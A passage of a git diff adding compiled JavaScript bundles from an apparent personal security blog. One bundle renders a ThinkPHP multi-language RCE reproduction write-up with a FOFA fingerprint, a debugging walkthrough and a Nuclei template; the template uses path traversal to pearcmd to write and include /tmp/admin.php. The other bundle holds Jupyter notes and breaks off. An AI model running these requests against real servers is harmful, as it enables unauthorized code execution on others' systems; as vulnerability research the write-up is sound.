a/assets/js/00b789fd.09cf36b9.js b/assets/js/00b789fd.09cf36b9.js new file mode 100644 index 0000000..8410c7d --- /dev/null +++ b/assets/js/00b789fd.09cf36b9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3833],{28453:(e,n,i)=>{i.d(n,{R:()=>s,x:()=>l});var t=i(96540);const h={},c=t.createContext(h);function s(e){const n=t.useContext(c);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(h):e.components||h:s(e.components),t.createElement(c.Provider,{value:n},e.children)}},61203:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>p,contentTitle:()=>l,default:()=>r,frontMatter:()=>s,metadata:()=>t,toc:()=>a});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","title":"Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/03.Thinkphpv6.0.13\u591a\u8bed\u8a00Rce.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/03.Thinkphpv6.0.13\u591a\u8bed\u8a00Rce.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316"},"next":{"title":"CVE-2022-38352","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352"}}');var h=i(74848),c=i(28453);const s={},l=void 0,p={},a=[{value:"fofa\u6307\u7eb9",id:"fofa\u6307\u7eb9",level:2},{value:"\u6f0f\u6d1e\u63cf\u8ff0",id:"\u6f0f\u6d1e\u63cf\u8ff0",level:2},{value:"\u73af\u5883\u642d\u5efa",id:"\u73af\u5883\u642d\u5efa",level:2},{value:"thinkphp6 \uff0c\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd",id:"thinkphp6-\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd",level:3},{value:"thinkphp5 \uff0c\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd",id:"thinkphp5-\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd",level:3},{value:"\u6d4b\u8bd5\u73af\u5883\u642d\u5efa",id:"\u6d4b\u8bd5\u73af\u5883\u642d\u5efa",level:3},{value:"\u8c03\u8bd5",id:"\u8c03\u8bd5",level:2},{value:"POC",id:"poc",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function d(e){const n={a:"a",code:"code",h2:"h2",h3:"h3",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,c.R)(),...e.components};return(0,h.jsxs)(h.Fragment,{children:[(0,h.jsxs)(n.table,{children:[(0,h.jsx)(n.thead,{children:(0,h.jsxs)(n.tr,{children:[(0,h.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,h.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,h.jsx)(n.tbody,{children:(0,h.jsxs)(n.tr,{children:[(0,h.jsx)(n.td,{style:{textAlign:"left"},children:(0,h.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,h.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 23:58:22"})]})})]}),"\n",(0,h.jsx)(n.p,{children:"Thinkphp\uff0cv6.0.1~v6.0.13\uff0cv5.0.x\uff0cv5.1.x"}),"\n",(0,h.jsx)(n.h2,{id:"fofa\u6307\u7eb9",children:"fofa\u6307\u7eb9"}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{children:'header="think_lang"\n'})}),"\n",(0,h.jsx)(n.h2,{id:"\u6f0f\u6d1e\u63cf\u8ff0",children:"\u6f0f\u6d1e\u63cf\u8ff0"}),"\n",(0,h.jsx)(n.p,{children:"\u5982\u679c Thinkphp \u7a0b\u5e8f\u5f00\u542f\u4e86\u591a\u8bed\u8a00\u529f\u80fd\uff0c\u90a3\u5c31\u53ef\u4ee5\u901a\u8fc7 get\u3001header\u3001cookie \u7b49\u4f4d\u7f6e\u4f20\u5165\u53c2\u6570\uff0c\u5b9e\u73b0\u76ee\u5f55\u7a7f\u8d8a+\u6587\u4ef6\u5305\u542b\uff0c\u901a\u8fc7 pearcmd \u6587\u4ef6\u5305\u542b\u8fd9\u4e2a trick \u5373\u53ef\u5b9e\u73b0 RCE\u3002"}),"\n",(0,h.jsx)(n.h2,{id:"\u73af\u5883\u642d\u5efa",children:"\u73af\u5883\u642d\u5efa"}),"\n",(0,h.jsx)(n.h3,{id:"thinkphp6-\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd",children:"thinkphp6 \uff0c\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd"}),"\n",(0,h.jsx)(n.p,{children:"app/middleware.php:"}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-php",children:" true\n"})}),"\n",(0,h.jsx)(n.h3,{id:"\u6d4b\u8bd5\u73af\u5883\u642d\u5efa",children:"\u6d4b\u8bd5\u73af\u5883\u642d\u5efa"}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-bash",children:"git clone https://github.com/top-think/think.git tp6\ncd tp6\ngit checkout v6.0.12\n"})}),"\n",(0,h.jsxs)(n.p,{children:["\u66f4\u6539 ",(0,h.jsx)(n.code,{children:"composer.json"})," \uff0c\u5b89\u88c5 ",(0,h.jsx)(n.code,{children:"v6.0.12"})," \uff1a"]}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-json",children:'"require": {\n "php": ">=7.2.5",\n "topthink/framework": "6.0.12",\n "topthink/think-orm": "^2.0"\n},\n'})}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-bash",children:"composer install\n"})}),"\n",(0,h.jsx)(n.p,{children:"\u7136\u540e\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd\uff1aapp/middleware.php"}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-php",children:"\ndetect($request);"})," \uff1a"]}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647104.png",alt:"image-20221221114801906"})}),"\n",(0,h.jsxs)(n.p,{children:["\u8ddf\u8fdb",(0,h.jsx)(n.code,{children:"$this->detect($request)"}),"\uff0c\t\u53d1\u73b0\u662f\u5bf9langSet\u53d6\u503c\uff0c"]}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647105.png",alt:"image-20221221115109654"})}),"\n",(0,h.jsxs)(n.p,{children:["91\u884c\uff0c\u8fd9\u91cc\u505a\u4e86\u4e00\u4e2a\u5224\u65ad\uff0c\u6211\u4eec\u53ef\u4ee5\u4e0d\u96be\u53d1\u73b0\u8fd9\u4e2a",(0,h.jsx)(n.code,{children:"$this->config['allow_lang_list']"})," \u9ed8\u8ba4\u662f\u4e3a\u7a7a\u7684\uff0c\u53ef\u4ee5\u4e0d\u7528\u7ba1\uff0c\u8fd4\u56de\u503c\u5c31\u4e3a\u8fd9\u91cc\u7684",(0,h.jsx)(n.code,{children:"$range"})]}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647106.png",alt:"image-20221221115217996"})}),"\n",(0,h.jsxs)(n.p,{children:["\u56de\u5230handle()\uff0c\u53d1\u73b0\u4f1a\u53ea\u8981\u4e0d\u662f\u4e0e",(0,h.jsx)(n.code,{children:"$this->config['default_lang']"})," \u9ed8\u8ba4\u89e6\u53d1\u4f1a\u8c03\u7528",(0,h.jsx)(n.code,{children:"$this->lang->switchLangSet($langset);"})," \uff0c\u8ddf\u8fdb\u8c03\u8bd5"]}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647107.png",alt:"image-20221221115558778"})}),"\n",(0,h.jsxs)(n.p,{children:["\u5728 135 \u884c\uff0c",(0,h.jsx)(n.code,{children:"$this->load([ $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',])"}),"\uff0c\u5728\u8fd9\u91cc\u5c31\u5b9e\u73b0\u4e86\u6587\u4ef6\u5305\u542b"]}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-php",children:"$this->load([\n $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',\n ]);\n"})}),"\n",(0,h.jsxs)(n.p,{children:["\u5728",(0,h.jsx)(n.code,{children:"$this->load([ $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',])"}),"\u4e2d\uff0c\u9ed8\u8ba4\u4f1a\u8d70\u5230",(0,h.jsx)(n.code,{children:"$this->parse($name)"})]}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647108.png",alt:"image-20221221120750404"})}),"\n",(0,h.jsx)(n.p,{children:"\u5982\u679c\u662fphp\u6587\u4ef6\u76f4\u63a5\u5c31include\u7684\u4e86"}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647109.png",alt:"image-20221221120935057"})}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647110.png",alt:"image-20221221121001328"})}),"\n",(0,h.jsx)(n.h2,{id:"poc",children:"POC"}),"\n",(0,h.jsx)(n.p,{children:"\u53ef\u4ee5\u5229\u7528pearcmd \u6587\u4ef6\u5305\u542b\u8fd9\u4e2a trick \uff0c\u53ef\u4ee5\u53c2\u8003 p \u725b\u7684\u6587\u7ae0\uff1a"}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.a,{href:"https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp",children:"https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp"})}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-yaml",children:"id: thinkphp-language-local-file-include\ninfo:\n name: thinkphp-\u591a\u8bed\u8a00-\u672c\u5730\u6587\u4ef6\u5305\u542brce\n author: wjlin0\n severity: critical\n description: \u5982\u679c Thinkphp \u7a0b\u5e8f\u5f00\u542f\u4e86\u591a\u8bed\u8a00\u529f\u80fd\uff0c\u90a3\u5c31\u53ef\u4ee5\u901a\u8fc7 get\u3001header\u3001cookie \u7b49\u4f4d\u7f6e\u4f20\u5165\u53c2\u6570\uff0c\u5b9e\u73b0\u76ee\u5f55\u7a7f\u8d8a+\u6587\u4ef6\u5305\u542b\uff0c\u901a\u8fc7 pearcmd \u6587\u4ef6\u5305\u542b\u8fd9\u4e2a trick \u5373\u53ef\u5b9e\u73b0 RCE\u3002\n metadata:\n fofa-query: header=\"think_lang\"\n reference:\n - https://tttang.com/archive/1865/#toc_thinkphp-6\n - https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp\n tags: rce,thinkphp,include\nrequests:\n - raw:\n - |+\n GET /index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/+/tmp/admin.php HTTP/1.1\n Host: {{Hostname}}\n Cache-Control: max-age=0\n Upgrade-Insecure-Requests: 1\n User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\n Accept-Encoding: gzip, deflate\n Accept-Language: zh-CN,zh;q=0.9\n Connection: close\n\n - |+\n GET /index.php?lang=../../../../../../../../tmp/admin HTTP/1.1\n Host: {{Hostname}}\n Cache-Control: max-age=0\n Upgrade-Insecure-Requests: 1\n User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\n Accept-Encoding: gzip, deflate\n Accept-Language: zh-CN,zh;q=0.9\n Connection: close\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - PHP Version\n - type: word\n part: body\n words:\n - '#PEAR_Config'\n - type: status\n status:\n - 200\n"})}),"\n",(0,h.jsx)(n.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.a,{href:"https://tttang.com/archive/1865/#toc_thinkphp-5",children:"Thinkphp \u591a\u8bed\u8a00 RCE - \u8df3\u8df3\u7cd6"})})]})}function r(e={}){const{wrapper:n}={...(0,c.R)(),...e.components};return n?(0,h.jsx)(n,{...e,children:(0,h.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/01348d43.73957c6e.js b/assets/js/01348d43.73957c6e.js new file mode 100644 index 0000000..5198d99 --- /dev/null +++ b/assets/js/01348d43.73957c6e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4156],{28453:(A,n,e)=>{e.d(n,{R:()=>r,x:()=>t});var s=e(96540);const i={},l=s.createContext(i);function r(A){const n=s.useContext(l);return s.useMemo(function(){return"function"==typeof A?A(n):{...n,...A}},[n,A])}function t(A){let n;return n=A.disableParentContext?"function"==typeof A.components?A.components(i):A.components||i:r(A.components),s.createElement(l.Provider,{value:n},A.children)}},29734:(A,n,e)=>{e.d(n,{A:()=>s});const s=e.p+"assets/images/image-20220805033034092-0c502f24c84bae0b238652a967fa9f16.png"},39705:(A,n,e)=>{e.d(n,{A:()=>s});const s="data:image/png;base64,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"},40426:(A,n,e)=>{e.r(n),e.d(n,{assets:()=>d,contentTitle:()=>t,default:()=>h,frontMatter:()=>r,metadata:()=>s,toc:()=>c});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c","title":"0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60"},"next":{"title":"\u7b2c\u4e00\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/"}}');var i=e(74848),l=e(28453);const r={},t="0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md",d={},c=[{value:"1 Jupyter Notebook/Lab\u5b89\u88c5",id:"1-jupyter-notebooklab\u5b89\u88c5",level:2},{value:"2 Jupyter Notebook/Lab\u914d\u7f6e",id:"2-jupyter-notebooklab\u914d\u7f6e",level:2},{value:"2.1 \u8bbe\u7f6e\u6587\u4ef6\u5b58\u653e\u4f4d\u7f6e",id:"21-\u8bbe\u7f6e\u6587\u4ef6\u5b58\u653e\u4f4d\u7f6e",level:3},{value:"2.2 \u4f7f\u7528\u865a\u62df\u73af\u5883",id:"22-\u4f7f\u7528\u865a\u62df\u73af\u5883",level:3},{value:"3 Jupyter Notebook\\Lab\u57fa\u672c\u64cd\u4f5c",id:"3-jupyter-notebooklab\u57fa\u672c\u64cd\u4f5c",level:2},{value:"3.1 \u57fa\u672c\u4f7f\u7528",id:"31-\u57fa\u672c\u4f7f\u7528",level:3},{value:"3.1.1 Jupyter Notebook",id:"311-jupyter-notebook",level:4},{value:"3.1.2 Jupyter Lab",id:"312-jupyter-lab",level:4},{value:"3.2 \u5e38\u7528\u5feb\u6377\u952e",id:"32-\u5e38\u7528\u5feb\u6377\u952e",level:3},{value:"3.3 \u5b89\u88c5\u63d2\u4ef6",id:"33-\u5b89\u88c5\u63d2\u4ef6",level:3},{value:"4 \u8fdb\u9636\u64cd\u4f5c",id:"4-\u8fdb\u9636\u64cd\u4f5c",level:2},{value:"5 \u53c2\u8003\u8d44\u6599",id:"5-\u53c2\u8003\u8d44\u6599",level:2}];function o(A){const n={a:"a",code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...A.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"04-jupyter\u76f8\u5173\u64cd\u4f5cmd",children:"0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:07"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(n.h1,{id:"jupyter-notebooklab-\u7b80\u8ff0",children:"Jupyter notebook/Lab 